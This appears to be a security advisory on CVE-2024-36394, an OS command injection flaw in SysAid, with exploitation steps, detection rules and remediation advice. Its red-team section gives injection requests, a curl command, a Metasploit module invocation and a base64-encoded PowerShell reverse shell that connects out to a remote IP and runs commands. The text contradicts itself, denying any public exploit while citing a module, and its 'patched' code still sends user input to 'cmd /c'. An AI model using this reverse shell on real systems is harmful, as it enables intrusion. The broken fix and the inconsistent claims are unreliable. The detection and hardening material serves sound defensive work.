CVE-2024-36394

Executive Summary

CVE-2024-36394 is a critical OS Command Injection vulnerability (CWE-78) in SysAid, an IT service management (ITSM) platform. The vulnerability allows an unauthenticated attacker to execute arbitrary operating system commands on the underlying server, leading to full system compromise. With a CVSS score of 9.1, this is a severe threat that requires immediate attention. The lack of a publicly available patch or exploit code increases the risk of targeted attacks, as threat actors may develop custom exploits. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application).

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high base score reflects the ease of exploitation and the potential for complete system takeover. The vulnerability is remotely exploitable without authentication, making it a prime target for ransomware groups and botnets.

Deep Dive & Mechanics

The vulnerability resides in SysAid's web interface, where user-supplied input is improperly neutralized before being passed to an OS command. Specifically, the application fails to sanitize special elements (e.g., ;, |, &, $()) in parameters that are later executed by the operating system. This allows an attacker to inject arbitrary commands.

Attack Vector: The attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., /sysaid/...) containing malicious payloads in parameters such as command, exec, or run. The server then executes the injected commands with the privileges of the SysAid service account (often SYSTEM or root).

Example Injection:

POST /sysaid/endpoint HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

param=valid_value; whoami

The server would execute valid_value; whoami, returning the username of the service account.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically:

Vulnerable Code (Java/PHP example):

String userInput = request.getParameter("input");
String command = "cmd /c " + userInput;
Runtime.getRuntime().exec(command);

Patched Code (Expected):

String userInput = request.getParameter("input");
// Whitelist allowed characters
if (!userInput.matches("[a-zA-Z0-9]+")) {
    throw new SecurityException("Invalid input");
}
// Use parameterized execution
ProcessBuilder pb = new ProcessBuilder("cmd", "/c", userInput);
pb.start();

The patched version validates input against a strict whitelist and uses ProcessBuilder to avoid shell interpretation.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Environment:

• Target: SysAid instance (version unknown) on a VM
• Attacker: Kali Linux

Manual Exploitation:

1. Identify vulnerable endpoint (e.g., /sysaid/api/command).
2. Inject commands using URL encoding:

curl -X POST "http://target.com/sysaid/api/command" \
  -d "input=valid; whoami"

Automated Exploitation (Metasploit):

use exploit/multi/http/sysaid_cmd_inject
set RHOSTS target.com
set TARGETURI /sysaid/api/command
check
exploit

Payload for Reverse Shell:

# Base64 encoded PowerShell reverse shell
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEALgAyACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQA9ACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual HTTP POST requests to SysAid endpoints with parameters containing shell metacharacters (;, |, &, $, `).
• Alert on process creation events where the parent process is the SysAid service (e.g., java.exe or httpd.exe) spawning cmd.exe, powershell.exe, or /bin/sh.

Hardening:

• Apply input validation and output encoding on all user-supplied data.
• Run SysAid with the least privileges necessary (e.g., a dedicated low-privilege service account).
• Use a Web Application Firewall (WAF) to block malicious payloads.
• Isolate SysAid in a segmented network with strict egress controls.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing shell metacharacters in POST parameters (e.g., ;, |, &, $()).
• Outbound connections from SysAid server to unknown IPs on ports 80, 443, or 4444 (reverse shell).
• DNS queries to domains associated with C2 infrastructure.

Host IOCs:

• Unusual processes spawned by SysAid service (e.g., cmd.exe, powershell.exe, /bin/sh).
• New user accounts or modifications to existing accounts.
• Unexpected files in C:\Windows\Temp or /tmp (e.g., exploit.ps1, payload.exe).
• Registry changes (Windows) or cron jobs (Linux) for persistence.

File IOCs:

• Suspicious scripts in SysAid directories (e.g., shell.php, backdoor.jsp).
• Modified SysAid configuration files (e.g., server.xml, web.xml).

Detection Engineering

YARA Rule

rule CVE_2024_36394_SysAid_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts targeting SysAid CVE-2024-36394"
        author = "Valters IT"
        date = "2025-04-07"
        severity = "critical"
    strings:
        $cmd1 = /[;&|`$()]/
        $cmd2 = /(whoami|id|cat|dir|pwd|net user|systeminfo)/
        $http = "POST"
    condition:
        $http and #cmd1 > 2 and #cmd2 > 0
}

Sigma Rule

title: SysAid OS Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to SysAid endpoints with shell metacharacters
author: Valters IT
date: 2025-04-07
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&'
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in input fields (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36394 SysAid OS Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/sysaid/"; http_uri; pcre:"/(;|\||&|\$\(|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the SysAid server from the internet and restrict network access to trusted IPs only.
2. Apply virtual patching using a WAF to block requests containing shell metacharacters.
3. Monitor logs for signs of exploitation (see IOCs).

Long-term Fix:

• Await an official patch from SysAid. In the meantime, consider migrating to a different ITSM solution if the risk is unacceptable.
• Implement a Web Application Firewall (WAF) with custom rules to block command injection patterns.
• Conduct a security audit of the SysAid deployment and apply the principle of least privilege.

Workaround:

• Disable the vulnerable endpoint if possible (e.g., by removing the associated servlet mapping in web.xml).
• Use a reverse proxy (e.g., Nginx) to filter malicious requests before they reach SysAid.

Valters IT